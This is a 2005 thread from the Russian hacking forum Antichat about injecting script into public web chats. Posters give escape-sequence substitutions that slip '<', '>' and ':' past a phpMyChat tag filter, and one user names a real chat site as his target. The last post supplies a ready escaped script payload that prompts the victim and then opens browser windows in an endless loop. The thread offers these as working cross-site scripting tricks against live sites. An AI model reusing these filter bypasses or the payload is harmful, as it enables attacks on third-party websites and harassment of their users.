ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
Перезагрузить страницу Замена символов в чате!
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Замена символов в чате!
  #1  
Старый 23.07.2005, 01:53
Аватар для D1ma
D1ma
Новичок
Регистрация: 10.05.2005
Сообщений: 22
Провел на форуме:
64271

Репутация: 0
Lightbulb Замена символов в чате!
На одном из чатов запнулся на том что там не разрешалось т.е. в тэгах непропускался знак /
Это означает что если я пишу:
\x3cimg src="http\x3a//antichat.ru/cgi-bin/s.jpg" name="imaga"\x3e
то тэг попадает на обозрение(ПОЛНОСТЬЮ) в таком виде: ...x3cimg src="http...x3a......antichat.ru...cgi-bin...s.jpg" name="imaga"...x3e
Как можно заменить / ????
 
Ответить с цитированием

  #2  
Старый 23.07.2005, 03:16
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию
см. видео zFailure "XSS в чате на muz-tv"
там тебе покажут как использовать реплейс символов в строке в ХТМЛ
 
Ответить с цитированием

  #3  
Старый 23.07.2005, 12:47
Аватар для К.е.Н
К.е.Н
Участник форума
Регистрация: 05.07.2005
Сообщений: 116
Провел на форуме:
177092

Репутация: 6
Отправить сообщение для К.е.Н с помощью ICQ
По умолчанию
А какой двиг чата.То что ты написал это phpmychat 0.14 .5 . Ну че то вроде этого.Это старый двиг .Вот попробуй для нового < =\\74\
> = \\76\\
</ =\\74/
: = \\72
Понятно?
 
Ответить с цитированием

  #4  
Старый 23.07.2005, 14:14
Аватар для D1ma
D1ma
Новичок
Регистрация: 10.05.2005
Сообщений: 22
Провел на форуме:
64271

Репутация: 0
По умолчанию
Вот этот пропатченный чат! http://www.elbrusoid.org/chat
 
Ответить с цитированием

  #5  
Старый 23.07.2005, 14:34
Аватар для К.е.Н
К.е.Н
Участник форума
Регистрация: 05.07.2005
Сообщений: 116
Провел на форуме:
177092

Репутация: 6
Отправить сообщение для К.е.Н с помощью ICQ
По умолчанию
Там этот баг закрыт.И правильно но еще много уязвимостей осталось
 
Ответить с цитированием

  #6  
Старый 23.07.2005, 17:50
Аватар для D1ma
D1ma
Новичок
Регистрация: 10.05.2005
Сообщений: 22
Провел на форуме:
64271

Репутация: 0
По умолчанию
Кто-нить выложите тэг на открытие окошек в чате.
 
Ответить с цитированием

  #7  
Старый 28.07.2005, 11:48
Аватар для TANZWUT
TANZWUT
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме:
5302668

Репутация: 2054


Отправить сообщение для TANZWUT с помощью ICQ
По умолчанию
Цитата:
Сообщение от D1ma  
Кто-нить выложите тэг на открытие окошек в чате.
Смотри про чаты августа... тама тег мною выложен.....
 
Ответить с цитированием

  #8  
Старый 28.07.2005, 12:02
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию
функция window.open na JS
на HTML <a href=page.htm target=_blank <!-- если надо в новом окне -->>link</a>
Последний раз редактировалось Green_Bear; 28.07.2005 в 12:05..
 
Ответить с цитированием

  #9  
Старый 01.08.2005, 01:21
Аватар для D1ma
D1ma
Новичок
Регистрация: 10.05.2005
Сообщений: 22
Провел на форуме:
64271

Репутация: 0
По умолчанию
ВСЕМ ОГРОМНОЕ СПАСИБО!!!!
 
Ответить с цитированием

  #10  
Старый 01.08.2005, 15:11
Аватар для К.е.Н
К.е.Н
Участник форума
Регистрация: 05.07.2005
Сообщений: 116
Провел на форуме:
177092

Репутация: 6
Отправить сообщение для К.е.Н с помощью ICQ
По умолчанию
\\74\script language="javascript"\\76\\ var nameData = "007"; if (nameData == prompt ("*****" ))alert("************!"); else for(1;1;100) open(1);\\74\/script\\76\\
Вот уже переделаный
Последний раз редактировалось Morph; 03.08.2005 в 05:39..
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Есть ли уязвимость в чате http://chat.bol.ru/ помогите кто знает retin Чаты 1 10.07.2005 17:04
Установка id ника в чате Don Kapone Чаты 0 30.06.2005 16:00
Закрыть на 12, 3, 1 час мыло создателя в чате на майл.ру dinar_007 Чаты 11 06.05.2005 17:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ